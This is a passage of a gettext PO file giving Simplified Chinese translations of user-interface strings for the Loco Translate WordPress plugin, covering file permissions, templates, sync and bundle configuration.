msgid "Use this file as template when running Sync"
msgstr "运行同步时将此文件用作模板"

#: tpl/admin/file/conf.php:38 tpl/admin/init/init-po.php:139
msgid "Just copy English source strings"
msgstr "只需复制英语源字符串"

#: tpl/admin/file/conf.php:32 tpl/admin/init/init-po.php:133
msgid "Copy target translations from \"%s\""
msgstr "从“%s”复制目标翻译"

#: tpl/admin/file/conf.php:12 tpl/admin/init/init-po.php:122
msgid "Template options"
msgstr "模板选项"

#: tpl/admin/init/init-po.php:77 tpl/admin/init/upload.php:15
msgid "Choose a location"
msgstr "选择位置"

#: tpl/admin/init/init-po.php:63
msgid "Custom language"
msgstr "自定义语言"

#: tpl/admin/init/init-po.php:51
msgid "Available languages"
msgstr "可用语言"

#: src/admin/bundle/LocaleController.php:124
#: src/admin/list/LocalesController.php:35 tpl/admin/init/init-po.php:45
msgid "Installed languages"
msgstr "已安装的语言"

#: tpl/admin/init/init-po.php:44
msgid "No language selected"
msgstr "未选择语言"

#: tpl/admin/init/init-po.php:39
msgid "WordPress language"
msgstr "WordPress语言"

#: tpl/admin/init/init-po.php:32
msgid "Choose a language"
msgstr "选择一种语言"

#: src/admin/init/InitPoController.php:389
msgid "Create template instead"
msgstr "创建模板"

#: src/admin/init/InitPoController.php:392
msgid "You're creating translations directly from source code"
msgstr "您正在直接从源代码创建翻译"

#: tpl/admin/help/tab-support.php:6
msgid "Getting help with Loco Translate"
msgstr "获取Loco Translate的帮助"

#: tpl/admin/help/tab-config-apis.php:9 tpl/admin/help/tab-config.php:9
msgid "Full documentation"
msgstr "完整文档"

#: tpl/admin/help/tab-config.php:6
msgid "User options apply to your WordPress login, across all sites"
msgstr "用户选项应用于所有站点的WordPress登录"

#: tpl/admin/help/tab-config.php:5
msgid "Site options apply to all users of Loco Translate across the current site"
msgstr "站点选项适用于当前站点中所有Loco Translate用户"

#: tpl/admin/help/side-bar.php:12
msgid "Support forum"
msgstr "支持论坛"

#: tpl/admin/file/view-mo.php:14
msgid "File is in binary MO format"
msgstr "文件是二进制MO格式"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:96
msgid "To create new files here you'll have to connect to the remote file system, or make the directory writeable by %s"
msgstr "若要在此创建新文件,您必须连接到远程文件系统,或使该目录可由 %s 写入"

#: tpl/admin/file/info.php:92
msgid "This directory can't be written to directly by the web server"
msgstr "此目录无法被 web 服务器直接写入"

#: tpl/admin/file/info.php:81
msgid "Note that the file may not be deletable due to additional ownership permissions"
msgstr "注意,由于有额外的所有权权限,该文件可能无法被删除"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:73
msgid "The containing directory is writeable by %s, so you can add new files in the same location"
msgstr "包含目录可以由%s写入,因此您可以在同一位置添加新文件"

#: tpl/admin/file/info.php:69
msgid "Directory is writeable"
msgstr "目录是可写的"

#. Translators: "either" meaning that the file itself can't exist without a
#. containing directory
#: tpl/admin/file/info.php:59
msgid "The containing directory for this file doesn't exist either"
msgstr "此文件的包含目录也不存在"

#: tpl/admin/file/info.php:55
msgid "Directory doesn't exist"
msgstr "目录不存在"

#. Translators: Where %s is the name (or number) of an operating system user
#: tpl/admin/file/info.php:43
msgid "To make changes you'll have to connect to the remote file system, or make the file writeable by %s"
msgstr "要进行更改,您必须连接到远程文件系统,或使该文件可写%s"

#: tpl/admin/file/info.php:39
msgid "This file can't be updated directly by the web server"
msgstr "此文件无法由Web服务器直接更新"

#: tpl/admin/file/info.php:27
msgid "You can update these translations directly from the editor to the file system"
msgstr "您可以直接从编辑器将这些翻译更新到文件系统"

#. Translators: Where %s is the type of file, e.g. "po"
#: tpl/admin/file/info.php:24
msgid "%s file is writeable"
msgstr "%s文件是可写的"

#: tpl/admin/file/info.php:14
msgid "File doesn't exist"
msgstr "文件不存在"

#: tpl/admin/file/info-pot.php:27
msgid "Last extracted"
msgstr "最后提取"

#: tpl/admin/file/info-po.php:88
msgid "These translations are not linked to a POT file. Sync operations will extract strings directly from source code."
msgstr "这些翻译未链接到 POT 文件。同步操作将直接从源代码中提取字符串。"

#: tpl/admin/file/info-po.php:84
msgid "Missing template"
msgstr "缺少模板"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:75
msgid "PO file has different source strings to \"%s\". Try running Sync before making any changes."
msgstr "PO文件具有与“%s”不同的源字符串。请尝试在进行任何更改之前运行同步。"

#: tpl/admin/file/info-po.php:71
msgid "Out of sync with template"
msgstr "与模板不同步"

#. Translators: Where %s is the name of a template file
#: tpl/admin/file/info-po.php:64
msgid "PO file has the same source strings as \"%s\""
msgstr "PO文件具有与“%s”相同的源字符串"

#: tpl/admin/file/info-po.php:60
msgid "In sync with template"
msgstr "与模板同步"

#: tpl/admin/file/info-po.php:50
msgid "We can't find the binary MO file that belongs with these translations"
msgstr "我们找不到属于这些翻译的二进制MO文件"

#: tpl/admin/file/info-po.php:47
msgid "Binary file missing"
msgstr "缺少二进制文件"

#: tpl/admin/file/info-other.php:11
msgid "Unexpected file type"
msgstr "意外的文件类型"

#: tpl/admin/file/info-mo.php:41
msgid "We can't find the original PO file from which this was compiled"
msgstr "我们找不到可编译为 mo 的原始 PO 文件"

#: tpl/admin/file/info-mo.php:38
msgid "PO file missing"
msgstr "PO文件丢失"

#: tpl/admin/file/info-mo.php:27
msgid "Compiled translations"
msgstr "编译的翻译"

#: tpl/admin/file/info-mo.php:24 tpl/admin/file/info-po.php:30
msgid "Last translation"
msgstr "上次翻译"

#: tpl/admin/file/info-mo.php:21 tpl/admin/file/info-po.php:27
#: tpl/admin/file/info-pot.php:24
msgid "File modified"
msgstr "文件修改"

#: tpl/admin/file/info-mo.php:15
msgid "compiled"
msgstr "编译"

#: tpl/admin/file/delete.php:30
msgid "Delete Permanently"
msgstr "永久删除"

#: tpl/admin/file/delete.php:16
msgid "Are you sure you want to <strong>permanently</strong> delete the following file?"
msgstr "您确定要<strong>永久</strong>删除以下文件吗?"

#: tpl/admin/file/delete.php:12
msgid "Confirm delete"
msgstr "确认删除"

#. Translators: %s is a URL. Keep the <a> tag intact
#: tpl/admin/errors/no-tokenizer.php:25
msgid "You can still translate any bundle that has a <a href=\"%s\" target=\"_blank\">template</a>"
msgstr "您仍然可以翻译任何包含<a href=\"%s\" target=\"_blank\">模板</a>的捆绑包"

#. Translators: change "en" in the URL to your language if it's available at
#. https://www.php.net/docs.php
#: tpl/admin/errors/no-tokenizer.php:17
msgid "Loco requires the <a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\">Tokenizer extension</a> to scan PHP source code for translatable strings"
msgstr "Loco需要<a href=\"http://php.net/manual/en/book.tokenizer.php\" target=\"_blank\"> Tokenizer扩展</a>才能扫描可翻译字符串的PHP源代码"

#: tpl/admin/errors/no-tokenizer.php:11
msgid "About the Tokenizer"
msgstr "关于Tokenizer"

#: tpl/admin/errors/file-missing.php:14
msgid "Either this file is missing or the server doesn't have permission to access it"
msgstr "此文件丢失或服务器没有访问权限"

#: tpl/admin/errors/file-missing.php:11
msgid "File not found"
msgstr "文件未找到"

#: tpl/admin/errors/file-isdir.php:14
msgid "This page was expecting a file, but the path is actually a directory"
msgstr "此页需要一个文件,但路径实际上是一个目录"

#: tpl/admin/errors/file-isdir.php:11
msgid "File is a directory"
msgstr "文件是一个目录"

#: tpl/admin/config/version.php:38
msgid "You're running the latest version of Loco Translate"
msgstr "您正在运行最新版本的Loco Translate"

#: tpl/admin/config/version.php:17
msgid "Upgrade to %s"
msgstr "升级到%s"

#: tpl/admin/config/version.php:11 tpl/admin/config/version.php:25
#: tpl/admin/config/version.php:35
msgid "Version %s"
msgstr "版本%s"

#: tpl/admin/config/settings.php:216
msgid "Allow full access to these roles"
msgstr "允许这些角色进行全面访问"

#: tpl/admin/config/settings.php:210
msgid "Grant access to roles"
msgstr "授予角色访问权限"

#: tpl/admin/config/settings.php:75 tpl/admin/config/settings.php:182
msgid "Not recommended"
msgstr "不推荐"

#: tpl/admin/config/settings.php:75
msgid "Add UTF-8 byte order mark"
msgstr "添加UTF-8字节顺序标记"

#: tpl/admin/config/settings.php:52 tpl/admin/config/settings.php:58
msgid "Saving PO/POT files"
msgstr "保存PO或POT文件"

#: tpl/admin/config/settings.php:37
msgid "Scan PHP files with extensions:"
msgstr "扫描带以下扩展名的 PHP文件:"

#: tpl/admin/config/settings.php:31
msgid "Skip PHP files larger than:"
msgstr "跳过大于以下值的 PHP 文件:"

#: tpl/admin/config/settings.php:21 tpl/admin/config/settings.php:27
msgid "Extracting strings"
msgstr "提取字符串"

#: tpl/admin/config/prefs.php:16 tpl/admin/config/prefs.php:20
msgid "Translator credit"
msgstr "译者信息"

#. translators: text field placeholder
#: tpl/admin/common/inc-table-filter.php:6
msgid "Filter..."
msgstr "过滤……"

#: tpl/admin/common/inc-fsconn.php:60
msgid "Connect"
msgstr "连接"

#. Translators: When a file or folder cannot be modified due to filesystem
#. permissions
#: tpl/admin/common/inc-fsconn.php:50 tpl/admin/file/info.php:36
#: tpl/admin/file/info.php:89
msgid "Write protected"
msgstr "写保护"

#: tpl/admin/bundle/view.php:55
msgid "This bundle isn't automatically compatible and requires configuring before you can use all the functions of Loco Translate"
msgstr "此捆绑包不能自动兼容,需要配置才能使用Loco Translate的所有功能"

#: tpl/admin/bundle/view.php:52
msgid "unconfigured"
msgstr "未配置"

#: tpl/admin/bundle/view.php:35 tpl/admin/bundle/view.php:57
msgid "Click the <a href=\"%s\">setup</a> tab to complete the bundle configuration"
msgstr "点击<a href=\"%s\">配置</a>选项卡完成捆绑包配置"

#: tpl/admin/bundle/view.php:32
msgid "This bundle isn't fully configured, so we don't know what the following files are for"
msgstr "此捆绑包未完全配置,因此我们不知道以下文件的用途"

#: tpl/admin/bundle/view.php:29
msgid "Additional files found"
msgstr "找到其他文件"

#: tpl/admin/bundle/setup.php:39
msgid "If you have trouble translating this bundle, consider asking the author for help"
msgstr "如果您在翻译此捆绑包时遇到问题,请考虑向作者寻求帮助"

#: tpl/admin/bundle/setup.php:36
msgid "Author details"
msgstr "作者详情"

#: tpl/admin/bundle/setup/saved.php:19
msgid "Edit config"
msgstr "编辑配置"

#: tpl/admin/bundle/setup/saved.php:14
msgid "This bundle's configuration is saved in the WordPress database"
msgstr "此捆绑包的配置已保存在WordPress数据库中"

#: tpl/admin/bundle/setup/saved.php:11
msgid "Bundle configuration saved"
msgstr "捆绑包配置已保存"

#: tpl/admin/bundle/setup/partial.php:14
msgid "This bundle's configuration has been automatically detected, but isn't fully complete"
msgstr "此捆绑包的配置已经被自动检测到,但还不完整"

#: tpl/admin/bundle/setup/partial.php:11
msgid "Partially configured bundle"
msgstr "尚未完成配置的捆绑包"

#: tpl/admin/bundle/setup/none.php:15
msgid "It needs configuring before you can do any translations"
msgstr "在您进行任何翻译之前,必须先进行正确配置"

#: tpl/admin/bundle/setup/none.php:14
msgid "This bundle isn't set up for translation in a way we understand"
msgstr "此捆绑包没有按照我们理解的方式配置翻译"

#: tpl/admin/bundle/setup/none.php:11
msgid "Unconfigured bundle"
msgstr "未配置的捆绑包"

#: tpl/admin/bundle/setup/meta.php:14
msgid "This bundle's configuration has been automatically detected and seems to be fully compatible"
msgstr "此捆绑包的配置已被自动检测到,且似乎完全兼容"

#: tpl/admin/bundle/setup/inc-nav.php:25
msgid "Get help with this"
msgstr "获取帮助"

#: tpl/admin/bundle/setup/inc-nav.php:22
msgid "Import config from XML"
msgstr "从XML导入配置"

#: tpl/admin/bundle/setup/core.php:13
msgid "This bundle's configuration is built into Loco Translate"
msgstr "该捆绑包的配置内置于 Loco Translate 中"

#: tpl/admin/bundle/setup/core.php:10 tpl/admin/bundle/setup/meta.php:11
msgid "Bundle auto-configured"
msgstr "已完成自动配置的捆绑包"

#: tpl/admin/bundle/setup/conf.php:55
msgid "Load config"
msgstr "加载配置"

#: tpl/admin/bundle/setup/conf.php:49
msgid "If you've been given a configuration file by a developer, paste the XML code here"
msgstr "如果开发者给您提供了配置文件,请把XML代码粘贴在这里"

#: tpl/admin/bundle/setup/conf.php:46
msgid "XML setup"
msgstr "XML 配置"

#: tpl/admin/bundle/setup/conf.php:56
msgid "Cancel"
msgstr "取消"

#: tpl/admin/bundle/setup/author.php:15 tpl/admin/bundle/setup/core.php:14
#: tpl/admin/bundle/setup/meta.php:15
msgid "You can make changes in the Advanced tab if you need to override the current settings"
msgstr "如果需要覆盖当前设置,则可以在“高级”选项卡中进行更改"

#: tpl/admin/bundle/setup/author.php:14
msgid "This bundle's configuration is provided by the author"
msgstr "此捆绑包的配置由作者提供"

#: tpl/admin/bundle/setup/author.php:11
msgid "Official configuration"
msgstr "官方配置"

#: tpl/admin/bundle/inc-po-table.php:124
msgid "No translations found for \"%s\""
msgstr "未找到针对“%s”的翻译"

#: tpl/admin/bundle/inc-po-table.php:57 tpl/admin/bundle/locale.php:69
msgid "Info"
msgstr "信息"

#: tpl/admin/bundle/inc-po-table.php:60 tpl/admin/bundle/locale.php:72
msgid "Copy"
msgstr "复制"

#: tpl/admin/bundle/inc-po-table.php:51 tpl/admin/bundle/locale.php:63
msgid "Edit"
msgstr "编辑"

#: tpl/admin/bundle/inc-po-table.php:31 tpl/admin/bundle/locale.php:49
msgid "Folder"
msgstr "文件夹"

#: tpl/admin/bundle/inc-po-table.php:28 tpl/admin/bundle/locale.php:46
#: tpl/admin/list/inc-table.php:17 tpl/admin/list/locales.php:19
msgid "Last modified"
msgstr "最后修改"

#: tpl/admin/bundle/inc-po-table.php:22 tpl/admin/bundle/locale.php:39
msgid "Pending"
msgstr "待定"

#: tpl/admin/bundle/inc-po-table.php:16 tpl/admin/bundle/locale.php:36
#: tpl/admin/file/info-po.php:33
msgid "Translation progress"
msgstr "翻译进度"

#: tpl/admin/bundle/inc-po-table.php:13
msgid "Language"
msgstr "语言"

#: tpl/admin/bundle/conf.php:159 tpl/admin/bundle/setup/saved.php:18
msgid "Reset config"
msgstr "重置配置"

#: tpl/admin/bundle/conf.php:146
msgid "XML"
msgstr "XML"

#: tpl/admin/bundle/conf.php:144
msgid "Parent theme"
msgstr "父主题"

#: tpl/admin/bundle/conf.php:142
msgid "Add set"
msgstr "添加"

#: tpl/admin/bundle/conf.php:141
msgid "Save config"
msgstr "保存配置"

#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:134
msgid "Folders within the bundle that will never be searched for files"
msgstr "捆绑包中永远不会被搜索到的文件的文件夹"

#: tpl/admin/bundle/conf.php:128
msgid "Blocked paths"
msgstr "禁止的路径"

#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#: tpl/admin/bundle/conf.php:113
msgid "Files and folders within the bundle that contain localized PHP code"
msgstr "捆绑包中包含了可本地化PHP代码的文件和文件夹"

#: tpl/admin/bundle/conf.php:100
msgid "Source file paths"
msgstr "源文件路径"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#. Translators: Help tip for "Source file paths" field in advanced bundle
#. config
#. Translators: Help tip for "Blocked paths" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94 tpl/admin/bundle/conf.php:113
#: tpl/admin/bundle/conf.php:134
msgid "no wildcards"
msgstr "没有通配符"

#. Translators: Help tip for "Domain path" field in advanced bundle config
#: tpl/admin/bundle/conf.php:94
msgid "Folders within the bundle that contain author-supplied translations"
msgstr "捆绑包中包含了作者提供翻译的文件夹"

#: tpl/admin/bundle/conf.php:89 tpl/admin/bundle/conf.php:108
msgid "Exclude"
msgstr "排除"

#: tpl/admin/bundle/conf.php:85 tpl/admin/bundle/conf.php:104
msgid "Include"
msgstr "包括"

#: tpl/admin/bundle/conf.php:81
msgid "Domain path"
msgstr "域名路径"

#. Translators: Help tip for "Template file" field in advanced bundle config
#: tpl/admin/bundle/conf.php:75
msgid "Relative path from bundle root to the official POT file"
msgstr "从捆绑包根目录到官方POT文件的相对路径"

#: tpl/admin/bundle/conf.php:71 tpl/admin/common/inc-fsconn.php:12
msgid "Locked"
msgstr "锁定"

#. Translators: Help tip for "File prefix" field in advanced bundle config
#: tpl/admin/bundle/conf.php:59
msgid "Usually the same as the text domain, but don't leave blank unless you mean to"
msgstr "通常与文本域相同,除非特意,否则请不要留空"

#: tpl/admin/bundle/conf.php:53
msgid "File prefix"
msgstr "文件前缀"

#. Translators: Help tip for "Text domain" field in advanced bundle config
#: tpl/admin/bundle/conf.php:47
msgid "The namespace into which WordPress will load translated strings"
msgstr "供WordPress加载译文字符串的命名空间"

#: tpl/admin/bundle/conf.php:41 tpl/admin/list/inc-table.php:14
msgid "Text domain"
msgstr "文本域"

#. Translators: Help tip for "Project name" field in advanced bundle config
#: tpl/admin/bundle/conf.php:35
msgid "Descriptive name for this set of translatable strings"
msgstr "此组可翻译字符串的描述性名称"

#: tpl/admin/bundle/conf.php:29
msgid "Project name"
msgstr "项目名称"

#: tpl/admin/bundle/alias.php:17
msgid "Go to WordPress Core"
msgstr "转到WordPress核心"

#: tpl/admin/bundle/alias.php:11
msgid "\"Hello Dolly\" is part of the WordPress core"
msgstr "\"Hello Dolly \"是WordPress核心的一部分"

#. translators: %s refers to the handle of a plugin, e.g.
#. "loco-translate/loco.php"
#: src/package/Plugin.php:225
msgid "Plugin not found: %s"
msgstr "插件未找到:%s"

#: src/package/Header.php:93
msgid "Visit official site"
msgstr "访问官方网站"

#: src/admin/bundle/LocaleController.php:144 src/package/Core.php:85
msgid "WordPress Core"
msgstr "WordPress核心"

#: src/package/Core.php:29
msgid "https://wordpress.org/"
msgstr "https://cn.wordpress.org/"

#: src/package/Core.php:28
msgid "The WordPress Team"
msgstr "WordPress团队"

#: src/package/Core.php:26
msgid "WordPress core"
msgstr "WordPress核心"

#. translators: (1) is the name of a PHP script, (2) is a line number in the
#. file
#: src/output/Buffer.php:130
msgid "Loco was interrupted by output from %1$s:%2$u"
msgstr "Loco 被 %1$s:%2$u 的输出中断"

#. translators: %s: Human-readable time difference.
#: src/mvc/FileParams.php:152
msgid "%s ago"
msgstr "%s前"

#. translators: relative time when something happened in the last 30 seconds
#: src/mvc/FileParams.php:149
msgid "Just now"
msgstr "现在"

#: src/mvc/FileParams.php:145
msgid "Y/m/d"
msgstr "年/月/日"

#: src/mvc/Controller.php:49
msgid "You do not have sufficient permissions to access this page."
msgstr "您没有足够的权限访问此页面。"

#: src/mvc/AjaxRouter.php:203
msgid "Download controller returned empty output"
msgstr "下载控制器返回空输出"

#: src/mvc/AjaxRouter.php:198
msgid "Download action not found"
msgstr "未找到下载操作"

#: src/mvc/AjaxRouter.php:175
msgid "Ajax controller returned empty JSON"
msgstr "Ajax控制器返回空JSON"

#. translators: Fatal error where %s represents an unexpected value
#: src/mvc/AjaxRouter.php:170
msgid "Ajax route not found: \"%s\""
msgstr "找不到Ajax路由:“ %s”"

#: src/mvc/AdminRouter.php:243
msgid "Page not found"
msgstr "找不到页面"

#. translators: Page title for core WordPress translations
#: src/mvc/AdminRouter.php:56
msgid "Core translations &lsaquo; Loco"
msgstr "核心翻译&lsaquo; Loco"

#: src/mvc/AdminRouter.php:54
msgid "WordPress"
msgstr "WordPress"

#. translators: Page title for plugin translations
#: src/mvc/AdminRouter.php:51
msgid "Plugin translations &lsaquo; Loco"
msgstr "插件翻译 &lsaquo; Loco"

#. translators: Page title for theme translations
#: src/mvc/AdminRouter.php:46
msgid "Theme translations &lsaquo; Loco"
msgstr "主题翻译 &lsaquo; Loco"

#: src/mvc/AdminRouter.php:42
msgid "Home"
msgstr "首页"

#: src/mvc/AdminController.php:114
msgid "Loco Translate is powered by"
msgstr "Loco Translate是由"

#: src/mvc/AdminController.php:51
msgid "Help & support"
msgstr "帮助和支持"

#. translators: List heading showing preview of translated text for each item
#: src/js/Strings.php:183
msgctxt "Editor"
msgid "Translation"
msgstr "翻译"

#. translators: Label for the translation editing window when no translation
#. selected
#: src/js/Strings.php:180
msgctxt "Editor"
msgid "Translation not loaded"
msgstr "翻译未加载"

#. translators: Label for the context window when no translation selected
#: src/js/Strings.php:177
msgctxt "Editor"
msgid "Context not loaded"
msgstr "上下文未加载"

#. translators: Label for the source text window when no translation selected
#: src/js/Strings.php:174
msgctxt "Editor"
msgid "Source text not loaded"
msgstr "源文内容未加载"

#. translators: Label for the plural form of the original English text
#: src/js/Strings.php:93 src/Locale.php:375 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Plural"
msgstr "复数"

#. translators: Label for the singular form of the original English text
#: src/js/Strings.php:96 src/Locale.php:374 pub/js/min/editor.js:291
msgctxt "Editor"
msgid "Single"
msgstr "单数"

#. translators: Label for the window pane for entering translator comments
#: src/js/Strings.php:159
msgctxt "Editor"
msgid "Comments"
msgstr "注释"

#. translators: Label for the window pane holding message context
#: src/js/Strings.php:156
msgctxt "Editor"
msgid "Context"
msgstr "上下文"

#. translators: Where %s is the name of the language, e.g. "French translation"
#. xgettext: javascript-format
#: src/js/Strings.php:153
msgctxt "Editor"
msgid "%s translation"
msgstr "%s翻译"

#. translators: Label for the window pane holding the original English text
#. translators: List heading showing preview of English text for each item
#: src/js/Strings.php:149 tpl/admin/file/info-pot.php:30
msgctxt "Editor"
msgid "Source text"
msgstr "源文"

#. translators: Generic error when external process broke an Ajax request
#: src/js/Strings.php:136
msgid "Server returned invalid data"
msgstr "服务器返回了无效数据"

#: src/js/Strings.php:139
msgid "Check console output for debugging information"
msgstr "检查控制台输出的调试信息"

#: src/js/Strings.php:142
msgid "Provide the following text when reporting a problem"
msgstr "报告问题时提供以下文本"

#. translators: When text filtering reduces to an empty view
#: src/js/Strings.php:14
msgid "Nothing matches the text filter"
msgstr "文本过滤器没有任何匹配"

#: src/hooks/AdminHooks.php:129 tpl/ajax/modal-apis-batch.php:37
msgid "Translate"
msgstr "翻译"

#. translators: Error thrown when attempting to parse a file that is not a
#. supported translation file format
#: src/gettext/Data.php:25
msgid "%s is not a Gettext file"
msgstr "%s不是Gettext文件"

#. Translators: Refers to translation files in an alternative location that
#. isn't Author, System or Custom.
#: src/fs/LocaleDirectory.php:72
msgctxt "File location"
msgid "Other"
msgstr "其他"

#. Translators: Refers to translation files in Loco's custom/protected
#. directory
#: src/fs/LocaleDirectory.php:69
msgctxt "File location"
msgid "Custom"
msgstr "自定义"

#. Translators: Refers to system-installed translation files - i.e. those under
#. WP_LANG_DIR
#: src/fs/LocaleDirectory.php:66
msgctxt "File location"
msgid "System"
msgstr "系统"

#. Translators: Refers to bundled plugin or theme translation files - i.e.
#. those supplied by the author
#: src/fs/LocaleDirectory.php:63
msgctxt "File location"
msgid "Author"
msgstr "作者"

#: src/fs/FileWriter.php:308
msgid "File modification is disallowed by your WordPress config"
msgstr "您的WordPress配置不允许文件修改"

#: src/fs/FileWriter.php:297
msgid "Failed to build directory path"
msgstr "无法构建目录路径"

#: src/fs/FileWriter.php:289
msgid "Failed to create directory"
msgstr "创建目录失败"

#: src/fs/FileWriter.php:253
msgid "Failed to save file"
msgstr "保存文件失败"

#: src/fs/FileWriter.php:243
msgid "Permission denied to update file"
msgstr "拒绝更新文件的权限"

#. translators: %s refers to a directory name which was expected to be an
#. ordinary file
#: src/fs/FileWriter.php:218
msgid "\"%s\" is a directory, not a file"
msgstr "“ %s”是一个目录,而不是一个文件"

#. translators: %s refers to a file name, for which a delete operation failed.
#: src/fs/FileWriter.php:201
msgid "Failed to delete %s"
msgstr "删除%s失败"

#. translators: (1) Source file name (2) Target file name
#: src/fs/FileWriter.php:162
msgid "Failed to copy %1$s to %2$s"
msgstr "无法将 %1$s 复制到 %2$s"

#: src/fs/FileWriter.php:151
msgid "Refusing to copy over an existing file"
msgstr "拒绝复制现有文件"

#. translators: %s refers to a file name, for which the chmod operation failed.
#: src/fs/FileWriter.php:133
msgid "Failed to chmod %s"
msgstr "未能修改文件%s"

#: src/fs/FileWriter.php:52
msgid "Failed to connect to remote server"
msgstr "无法连接到远程服务器"

#: src/error/XmlParseException.php:8
msgid "XML parse error"
msgstr "XML解析错误"

#: src/error/Warning.php:19 src/js/Strings.php:127
msgid "Warning"
msgstr "警告"

#: src/error/Success.php:19 src/js/Strings.php:133
msgid "OK"
msgstr "确定"

#: src/error/Notice.php:20 src/js/Strings.php:130
#: tpl/admin/common/inc-fsconn.php:37
msgid "Notice"
msgstr "注意"

#: src/error/Exception.php:163 src/js/Strings.php:124
msgid "Error"
msgstr "错误"

#: src/data/Permissions.php:155
msgctxt "User role"
msgid "Translator"
msgstr "译者"

#: src/config/XMLModel.php:54
msgid "XML supplied is empty"
msgstr "提供的XML为空"

#: src/config/FormModel.php:147
msgid "Text Domain cannot be empty"
msgstr "文本域不能为空"

#. translators: used when username of web server process is unknown
#: src/compat/PosixExtension.php:115
msgid "the web server"
msgstr "网页服务器"

#. translators: %s refers to the name of a new file to be created, but which
#. already existed
#: src/api/WordPressFileSystem.php:87
msgid "%s already exists in this folder"
msgstr " %s已经存在于此文件夹中"

#: src/ajax/XgettextController.php:67
msgid "Template file created"
msgstr "模板文件已创建"

#: src/gettext/Compiler.php:94
msgid "PO file saved, but MO file compilation failed"
msgstr "PO文件已保存,但MO文件编译失败"

#: src/gettext/Compiler.php:283
msgid "PO file saved and MO file compiled"
msgstr "保存PO文件并编译MO文件"

#. translators: %s refers to a directory where a backup file could not be
#. created due to file permissions
#: src/fs/Revisions.php:222
msgid "Failed to create backup file in \"%s\". Check file permissions or disable backups"
msgstr "在\"%s \"中创建备份文件失败。请检查文件权限或禁用备份功能"

#: src/ajax/MsginitController.php:63
msgid "MO file exists for this language already. Delete it first"
msgstr "此语言的MO文件已经存在。请先将其删除"

#: src/ajax/FsConnectController.php:117
msgid "Connected to remote file system"
msgstr "连接到远程文件系统"

#: src/admin/list/ThemesController.php:14
msgid "Translate themes"
msgstr "翻译主题"

#: src/admin/list/PluginsController.php:12
msgid "Translate plugins"
msgstr "翻译插件"

#. translators: %s refers to the name of a translation set (theme, plugin or
#. core component)
#: src/admin/init/InitPotController.php:106
msgid "New translations template for \"%s\""
msgstr "“%s”的新翻译模板"

#: src/admin/init/InitPotController.php:104
msgid "New template file"
msgstr "新模板文件"

#: src/admin/init/InitPotController.php:56
msgid "Template file already exists"
msgstr "模板文件已经存在"

#: src/admin/init/InitPotController.php:16
msgid "New template"
msgstr "新模板"

#: src/admin/init/InitPoController.php:223
msgid "Skip template"
msgstr "跳过模板"

#. translators: Were %s is number of source files that will be scanned
#: src/admin/init/InitPoController.php:280
msgid "%s source file will be scanned for translatable strings"
msgid_plural "%s source files will be scanned for translatable strings"
msgstr[0] "将对 %s个源文件进行扫描,以寻找可翻译的字符串"

#. translators: 1: Number of strings; 2: Name of POT file; e.g. "100 strings
#. found in file.pot"
#: src/admin/init/InitPoController.php:249
msgid "%1$s string found in %2$s"
msgid_plural "%1$s strings found in %2$s"
msgstr[0] "在 %2$s 中找到 %1$s个字符串"

#: src/admin/init/InitPoController.php:119
msgid "Initializing new translations in unknown set"
msgstr "在未知集中初始化新的翻译"

#. translators: %s refers to the slug/handle of a theme or plugin
#: src/admin/init/InitPoController.php:115
msgid "Initializing new translations in \"%s\""
msgstr "在“%s”中初始化新翻译"

#. translators: Warning that the language in the file header (1) does not match
#. the file name (2)
#: src/admin/file/InfoController.php:177
msgid "Language header is \"%1$s\" but file name contains \"%2$s\""
msgstr "语言标头为“%1$s”,但文件名包含“%2$s”"

#: src/admin/file/InfoController.php:169
msgid "File does not have a valid header"
msgstr "文件没有有效的标题"

#: src/admin/file/InfoController.php:137 src/package/Header.php:86
msgid "Unknown author"
msgstr "未知作者"

#. Translators: Button that toggles between "code" and regular text editing
#. modes
#: src/admin/file/EditController.php:232
msgctxt "Editor"
msgid "Toggle code view"
msgstr "切换代码视图"

#. Translators: Button that toggles invisible characters
#: src/admin/file/EditController.php:230
msgctxt "Editor"
msgid "Toggle invisibles"
msgstr "切换不可见"

#. Translators: Button for downloading a PO, MO or POT file
#: src/admin/file/EditController.php:226
msgctxt "Editor"
msgid "Download"
msgstr "下载"

#. Translators: Button that reloads current screen
#: src/admin/file/EditController.php:220
msgctxt "Editor"
msgid "Revert"
msgstr "还原"

#. Translators: Button that runs in-editor sync/operation
#: src/admin/file/EditController.php:218
msgctxt "Editor"
msgid "Sync"
msgstr "同步"

#. Translators: Button that saves translations to disk
#: src/admin/file/EditController.php:216
msgctxt "Editor"
msgid "Save"
msgstr "保存"

#: src/admin/file/EditController.php:214 src/ajax/ApisController.php:26
msgid "Help"
msgstr "帮助"

#. Translators: button for removing a string when manually editing a POT file
#: src/admin/file/EditController.php:213
msgctxt "Editor"
msgid "Remove"
msgstr "移除"

#. Translators: button for adding a new string when manually editing a POT file
#: src/admin/file/EditController.php:211
msgctxt "Editor"
msgid "Add"
msgstr "添加"

#. translators: %s refers to the name of a POT file
#: src/admin/file/EditController.php:131
msgid "Translations don't match template. Run sync to update from %s"
msgstr "翻译与模板不匹配。请运行同步以从%s更新"

#. translators: %1$s is the file name, %2$s is the bundle name
#: src/admin/file/EditController.php:18
msgid "Editing %1$s in %2$s"
msgstr "在%2$s中编辑%1$s"

#. translators: Warning that deleting a file will also delete others. %s
#. indicates that quantity.
#: src/admin/file/DeleteController.php:104
msgid "%s dependent file will also be deleted"
msgid_plural "%s dependent files will also be deleted"
msgstr[0] "%s个依赖文件也将被删除"

#. translators: Page title where %s is the name of a file to be deleted
#: src/admin/file/DeleteController.php:79
#: src/admin/file/DeleteController.php:98
msgid "Delete %s"
msgstr "删除%s"

#: src/admin/file/DiffController.php:45
msgid "File deleted"
msgstr "%u 个文件已删除"

#: src/admin/file/BaseController.php:122 tpl/admin/bundle/inc-po-table.php:66
#: tpl/admin/bundle/locale.php:75 tpl/admin/file/diff.php:32
msgid "Delete"
msgstr "删除"

#: src/admin/file/BaseController.php:119 tpl/admin/bundle/inc-po-table.php:25
#: tpl/admin/bundle/locale.php:43
